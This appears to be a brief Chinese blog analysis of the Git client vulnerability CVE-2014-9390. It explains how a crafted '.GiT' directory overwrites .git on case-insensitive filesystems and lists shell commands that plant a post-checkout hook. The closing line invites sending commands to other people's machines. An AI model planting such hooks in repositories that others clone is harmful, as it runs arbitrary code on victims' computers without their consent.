Git客户端命令执行漏洞(CVE-2014-9390)简单分析

今日看到有这个漏洞的介绍,简单看了下,发现漏洞原因以及利用很简单,记记记!

参考资料

漏洞成因

The vulnerability concerns Git and Git-compatible clients that access Git repositories in a case-insensitive or case-normalizing filesystem. An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine. Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.

以上是原文,如果你E文也不好,那就参考我的理解: windowsosx使用的文件系统(NTFSFAT)不区分文件名的大小写,而Linux则区分。根据这个特性可以在Linux下创建一个大小写区别的.git文件夹,进而覆盖.git的配置文件,从而导致任意命令执行。

测试例子

打开http://gitcasefail.googlecode.com/svn/trunk/这个谷歌代码仓库,可以看到有一个.git和一个.Git目录,关键是.Git这个目录,在里面的hooks目录里面有个post-checkout文件,这个就是导致命令执行的文件。 然后我们直接通过以下命令测试,如果命令执行则说明漏洞存在:

git clone http://gitcasefail.googlecode.com/svn/trunk/repo/ 

漏洞利用

我们进入Linux系统,然后初始化一个git目录,通过'ls -al'可以看到有.git目录,然后呢,直接创建.gIt文件夹并创建利用脚本:

mkdir .GiT
cd .GiT
mkdir hooks
cd hooks
touch post-checkout
echo whoami>post-checkout
然后发布代码,测试成功后即可发命令给对方进行调戏了~~